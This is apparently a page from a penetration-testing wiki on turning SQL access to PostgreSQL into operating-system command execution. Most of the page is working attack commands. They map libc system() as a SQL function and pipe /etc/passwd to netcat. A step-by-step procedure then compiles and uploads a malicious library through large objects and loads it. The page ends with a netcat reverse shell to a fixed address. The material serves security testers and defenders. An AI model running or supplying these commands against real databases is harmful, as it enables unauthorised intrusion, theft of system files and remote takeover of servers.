NetSPI SQL Injection Wiki

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc

');

Notes:
This method works with PostgreSQL 8.1 and below. After version 9, you'll have to upload your own library with the "PG_MODULE_MAGIC" set.
The process for this is outlined at https://www.dionach.com/blog/postgresql-9x-remote-command-execution, below is a summary.

1. To get the version from the PostgreSQL server use the query below.

SELECT version();

2. To compile the library, a Linux machine with the same version of PostgreSQL as the target machine is required. Below is an example showing how to install PostgreSQL.

apt install postgresql postgresql-server-dev-9.6

3. Download pgexec file from https://github.com/Dionach/pgexec/tree/master.

4. Compile pgexec with the command below.

gcc -I$(/usr/local/pgsql/bin/pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c

5. Upload the library to the target system. First split the file into pieces.

split -b 2048 pg_exec.so

6. The file can then be written to disk through PostgreSQL using the commands below.

SELECT lo_creat(-1);
set c0 `base64 -w 0 xaa`
INSERT INTO pg_largeobject (loid, pageno, data) values (16388, 0, decode(:'c0', 'base64'));

Then repeat for each piece of the file.

7. Create the function.

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT;

8. Send a reverse shell to your system.

SELECT sys('nc -e /bin/sh 10.0.0.1 4444');

Source: https://www.dionach.com/blog/postgresql-9x-remote-command-execution